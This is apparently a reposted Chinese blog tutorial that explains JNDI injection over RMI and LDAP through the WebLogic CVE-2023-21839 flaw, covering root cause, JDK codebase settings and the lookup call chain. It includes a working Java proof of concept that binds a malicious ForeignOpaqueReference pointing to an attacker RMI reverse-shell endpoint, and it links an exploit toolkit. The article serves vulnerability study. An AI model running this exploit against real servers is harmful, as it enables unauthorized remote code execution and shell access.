首页 星云 工具 资源 星选 资讯 热门工具
:

PDF转图片 完全免费 小红书视频下载 无水印 抖音视频下载 无水印 数字星空

深入理解JNDI注入—RMI/LDAP攻击

编程知识
2024年09月18日 07:53

目录

前言

本篇文章初衷是在研究log4j2漏洞时候找不到一篇完整且能够真正让我理解漏洞根因的文章,导致我想写一篇通俗易懂能理解到底啥是JNDI注入,怎么lookup的。

当然不排除国外英文文章有很好的解释,但是我更希望有中文版本。

JNDI 注入简单理解

JNDI (Java Naming and Directory Interface)

JNDI注入可以归纳为后台在执行代码的时候,最终会执行到lookup函数,然后lookup函数传入的值是我们在请求或者其他方式能够控制的一个变量,再者lookup支持远程方法调用(RMI)、轻型目录访问协议(LDAP)、域名服务(DNS)。

定眼一看RMI、LDAP、DNS,肾上腺素拉满,这仨都可以配合JNDI注入进行(lookup)漏洞利用攻击。 所以这也就是为啥有很多攻击方式为:JNDI+RMI、JNDI+LDAP、JNDI+DNS,最具杀伤力的自然是rmi和ldap协议,能够远程绑定对象执行代码。(这里别蒙圈,知道这俩协议配合JNDI能够远程执行代码即可)

通常测试是否存在JNDI注入漏洞的话可以先用DNS探测一下是否有回显,有的话才好进行下一步的攻击。
还有一个公共对象请求代理体系结构(CORBA)

透过Weblogic漏洞深入理解


该漏洞为:Weblogic未授权远程代码执行漏洞(CVE-2023-21839)


下面的源码分析都围绕23年Weblogic的一个未授权远程代码执行漏洞来解释怎么RMI和LDAP攻击,这也是为啥我不满意网上大部分文章的原因,没有结合一个具体的漏洞去解释这俩协议。
(纯属个人观点,毕竟还是参考了很多大佬文章的,各位道友轻点喷)

  • 漏洞原理
    假如你不理解下面要概括的漏洞原理的话那就也莫慌,你只需要知道最终触发的还是lookup函数即可,上面的解释就是为了你在朋友面前装13的而已,显得你很牛13。
    漏洞可以概括为:因为weblogic支持t3和iiop协议绑定远程对象,然后绑定的远程对象是ForeignOpaqueReferent的话,客户端通过jndi查询的时候,服务端其实是调用了远程对象的getRefernet函数进行实例化,然后在这个函数里面进行了lookup查找,查找的是remoteJNDIName,这个就是漏洞点,我们可以通过反射机制修改这个remoteJNDIName,也就是说可以控制使用rmi或者ldap协议进行远程执行代码。

注:!!!补充,这个weblogic漏洞是你绑定对象后主动的进行lookup查询,然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload。

RMI与LDAP的区别

RMI和LDAP的区别其实就是安全限制有最大的不同,两个协议用起来都是需要加载恶意类到本地执行命令。
(区别就是:RMI/LDAP远程对象引用安全限制存在差异)

参考文章:
https://myzxcg.com/2021/10/Java-JNDI分析与利用/#jndi-目录服务

↓↓↓↓↓↓里面有写一段,解决了我的对两个协议的疑惑:↓↓↓↓↓↓

  1. RMI
    在RMI服务中引用远程对象将受本地Java环境限制,本地的java.rmi.server.useCodebaseOnly配置如果为true(禁止引用远程对象),为false则允许加载远程类文件。

    除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象),一样无法调用远程的引用对象。
  • JDK5u45、JDK6u45、JDK7u21、JDK8u121开始,java.rmi.server.useCodebaseOnly默认值改为了true
  • JDK6u132、JDK7u122、JDK8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值改为了 false
    本地测试远程对象引用可以使用如下方式允许加载远程的引用对象
    System.setProperty("java.rmi.server.useCodebaseOnly", "false");
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
  1. LDAP
    LDAP也在JDK6u211、7u201、8u191、11.0.1后将com.sun.jndi.ldap.object.trustURLCodebase的默认设置为了false。(但不受java.rmi.server.useCodebaseOnly影响

JNDI+RMI

如果你看懂了上面的并且觉得够了且已经理解了,那么就无需看下面分析了,因为这里我写的原因就是因为不相信别人说的,我才希望真正看到是不是真的能够进行JNDI注入lookup进行攻击。


  • Weblogic未授权远程代码执行(CVE-2023-21839)的源码分析,使用RMI攻击。
    分析前要记住一点:Weblogic t3/iiop协议支持远程绑定对象bind到服务端

    • 允许绑定对象这一点很重要,既然允许绑定对象,那么我们就需要找一个能够触发lookup且变量可控的类去绑定,这样我们才能够实现JNDI注入攻击。
  • 巧的是:当远程对象继承自OpaqueReference时,lookup查看远程对象,查询的变量是remoteJNDIName(可通过反射机制控制)。
    这里又发现一篇文章写得不错,我参考了一二:https://g1asssy.com/2024/01/31/CVE_2024_20931/
    ↓↓↓↓↓↓其中有一段解释的很好↓↓↓↓↓↓

    利用步骤大致分为三步:

    1. 建立一个恶意ForeignOpaqueReference对象,并将remoteJNDIName设置为远程恶意JNDI服务。
    2. 通过T3 \ IIOP协议在WLS上绑定该恶意对象。
    3. 通过lookup查询该恶意对象,触发ForeignOpaqueReference.getReferent的调用,从而造成恶意JNDI注入。

    通过lookup查询该恶意对象:这句话意思是你绑定服务器端后能够在poc中自己决定是否拿着这个类去lookup触发,这也就是为啥我选weblogic这个漏洞来解释的原因,他的poc就是你自己来决定绑定后是否进行lookup攻击的,很直接了当告诉你就是lookup触发的,别不信,你自己决定是否lookup攻击。
    注:!!!我还要再次补充就是,这个weblogic漏洞是你绑定对象后主动的进行lookup查询,然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload。

漏洞代码触发链

参考文章:https://xz.aliyun.com/t/12297
下图为:ForeignOpaqueReference的父类OpaqueReference,可以看到里面存在getReferent函数,这个函数跟进去就有触发lookup。
在这里插入图片描述
跟进getReferent,你看我框住的就行,你会发现我们只要满足下面两点:

  1. jndiEnvironment不为空,就能初始化好我们的var4。
  2. 控制remoteJNDIName变量就能够进行远程代码执行
    (将值换成我们的RMI或者LDAP协议进行攻击)

然而以上的条件都可以通过编写脚本用反射机制拿到变量进行修改,说白了就是在lookup查询你绑定好的对象时,就会调用ForeignOpaqueReference.getReferent(),然后就去触发受害端后台的lookup,接着执行你控制好的remoteJNDIName,所以这里我们只要控制var4与this.remoteJNDIName就能造成jndi注入

在这里插入图片描述
以下是RMI的漏洞攻击POC:
注明:本人没有测试poc是否成功,建议使用集成工具一键搭好攻击环境:
https://github.com/ugnoeyh/Log4shell_JNDIExploit
在这里插入图片描述
解下介绍poc代码

  • 引入依赖
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>wlfullclient</artifactId>
    <version>0.1</version>
</dependency>
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>spring</artifactId>
    <version>0.1</version>
</dependency>
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>logging</artifactId>
    <version>0.1</version>
</dependency>
  • 主代码
    注意先进行反射机制拿到变量jndiEnvironment 和remoteJNDIName ,然后设置好值后,远程绑定ForeignOpaqueReference对象,然后才是你主动的去进行 lookup查询ForeignOpaqueReference对象,这一步主动lookup是为了受害端去getReferent 然后触发lookup去get你的恶意payload进行实例化造成攻击。
    ps:上面加深的这句 "这一步主动lookup是为了受害端去getReferent 然后触发lookup去get你的恶意payload进行实例化造成攻击" ,看不懂可以接下去看lookup触发链。
    (我已大彻大悟,不知道友悟到没。)
import weblogic.deployment.jms.ForeignOpaqueReference;
import weblogic.iiop.IOPProfile;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class CVE_2023_21839 {
    public static void main(String[] args) throws Exception {
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

        // 创建用来远程绑定对象的InitialContext
        String url = "t3://192.168.135.129:7001"; // 目标机器
        Hashtable env1 = new Hashtable();
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env1.put(Context.PROVIDER_URL, url); // 目标
        InitialContext c = new InitialContext(env1);

        // ForeignOpaqueReference的jndiEnvironment属性
        Hashtable env2 = new Hashtable();
        env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

        // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
        ForeignOpaqueReference f = new ForeignOpaqueReference();
        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f, env2);
        Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        String rmi= "rmi://192.168.135.1:1389/Basic/ReverseShell/192.168.135.1/7777";
        remoteJNDIName.set(f, rmi);

        // 远程绑定ForeignOpaqueReference对象
        c.rebind("sectest", f);

        // lookup查询ForeignOpaqueReference对象
        try {
            c.lookup("sectest");
        } catch (Exception e) {
        }
    }
}

lookup触发链

OK上面就是weblogic漏洞未授权远程代码执行的一个主要漏洞根因,下面介绍的是知道了进行lookup后,lookup是怎么加载恶意payload的过程。
这里有一个lookup进行实例化对象的调用栈
(从下JNDI_Test的函类开始往上看)

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
getObjectInstance:319, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
↑↑↑↑↑↑
lookup:411, InitialContext (javax.naming)
↑↑↑↑↑↑
main:7, JNDI_Test (demo)

再往深了讲getObjectFactoryFromReference就是最终的罪魁祸首
其他调用过程就不讲了,有感兴趣可以看参考文章:https://xz.aliyun.com/t/12297
接着讲:getObjectFactoryFromReference干了啥,以下是他的源码部分
其中

  1. clas = helper.loadClass(factoryName);尝试从本地加载Factory类
  2. clas = helper.loadClass(factoryName, codebase);从远程加载我们恶意class
  3. return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    最后会返回加载好的class。
  4. 如果你还要看loadClass里面怎么加载的,在参考文章中也有告诉我就是:URLClassLoader来加载我们的恶意类。
static ObjectFactory getObjectFactoryFromReference(
    Reference ref, String factoryName)
    throws IllegalAccessException,
    InstantiationException,
    MalformedURLException {
    Class clas = null;

    // Try to use current class loader
    try {
         clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.

    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

至此,历尽千辛万苦,透过一个23年的weblogic漏洞分析JNDI到此结束。


JNDI+LDAP

同理RMI,就是有版本的安全配置限制,上面也讲了两个协议的区别,但实质都是通过加载恶意类来攻击的。

身为散修就这么生硬的解释,道友莫怪。
感谢看到这里的道友~

From:https://www.cnblogs.com/dhan/p/18417881
本文地址: http://shuzixingkong.net/article/2093
0评论
提交 加载更多评论
其他文章 LLM应用实战: 文档问答系统Kotaemon-1. 简介及部署实践
本文主要针对开源文档问答系统Kotaemon的介绍,包括主要功能特点,与传统文档RAG的区别,部署教程以及效果体验等。
LLM应用实战: 文档问答系统Kotaemon-1. 简介及部署实践 LLM应用实战: 文档问答系统Kotaemon-1. 简介及部署实践 LLM应用实战: 文档问答系统Kotaemon-1. 简介及部署实践
WiFi基础(四):WiFi工作原理及WiFi接入过程
liwen01 2024.09.16 前言 802.11 无线 WiFi 网有三类帧:数据帧、管理帧、控制帧。与有线网相比,无线 WiFi 网会复杂很多。大部分应用软件开发对 WiFi 的控制帧和管理帧了解得并不多,因为它们在物理层和数据链路层就已经被处理了,上层应用很少能感知到。 一般是在设备出现
WiFi基础(四):WiFi工作原理及WiFi接入过程 WiFi基础(四):WiFi工作原理及WiFi接入过程 WiFi基础(四):WiFi工作原理及WiFi接入过程
解密Prompt系列38.多Agent路由策略
常见的多智能体框架有协作模式,路由模式,复杂交互模式等等,这一章我们围绕智能体路由,也就是如何选择解决当前任务最合适的智能体展开,介绍基于领域,问题复杂度,和用户偏好进行智能体选择的几种方案
解密Prompt系列38.多Agent路由策略 解密Prompt系列38.多Agent路由策略 解密Prompt系列38.多Agent路由策略
代码整洁之道--读书笔记(12)
代码整洁之道 简介: 本书是编程大师“Bob 大叔”40余年编程生涯的心得体会的总结,讲解要成为真正专业的程序员需要具备什么样的态度,需要遵循什么样的原则,需要采取什么样的行动。作者以自己以及身边的同事走过的弯路、犯过的错误为例,意在为后来者引路,助其职业生涯迈上更高台阶。 本书适合所有程序员阅读,
代码整洁之道--读书笔记(12) 代码整洁之道--读书笔记(12)
mongodb 中rs.stauts()命令参数解析
转载请注明出处: rs.status()命令用于获取MongoDB副本集的状态信息。它提供了关于副本集中各个节点的详细信息,包括节点的健康状况、角色、选举状态等。 以下是查看一个mongo集群状态返回的参数: rs0:PRIMARY&gt; rs.status() { &quot;set&quot;
这10种分布式ID,太绝了!
前言 分布式ID,在我们日常的开发中,其实使用的挺多的。 有很多业务场景在用,比如: 分布式链路系统的trace_id 单表中的主键 Redis中分布式锁的key 分库分表后表的id 今天跟大家一起聊聊分布式ID的一些常见方案,希望对你会有所帮助。 1 UUID UUID (Universally
这10种分布式ID,太绝了! 这10种分布式ID,太绝了! 这10种分布式ID,太绝了!
揭秘最为知名的黑客工具之一: Netcat!适用安全测试、渗透测试、黑客攻击!
在网络安全领域,黑客工具一直备受关注。它们既可以被用于攻击,也可以用于防御。本文将为大家揭秘一款知名的黑客工具: Netcat。 1、Netcat是什么? Netcat被誉为“网络的瑞士军刀”,简称为 nc,是一个功能丰富的网络工具。最早是一个简单的TCP/IP工具,用于在网络上传输数据。随着时间的
Vue3.5中解构props,让父子组件通信更加丝滑
前言 在Vue3.5版本中响应式 Props 解构终于正式转正了,这个功能之前一直是试验性的。这篇文章来带你搞清楚,一个String类型的props经过解构后明明应该是一个常量了,为什么还没丢失响应式呢?本文中使用的Vue版本为欧阳写文章时的最新版Vue3.5.5 关注公众号:【前端欧阳】,给自己一
Vue3.5中解构props,让父子组件通信更加丝滑 Vue3.5中解构props,让父子组件通信更加丝滑 Vue3.5中解构props,让父子组件通信更加丝滑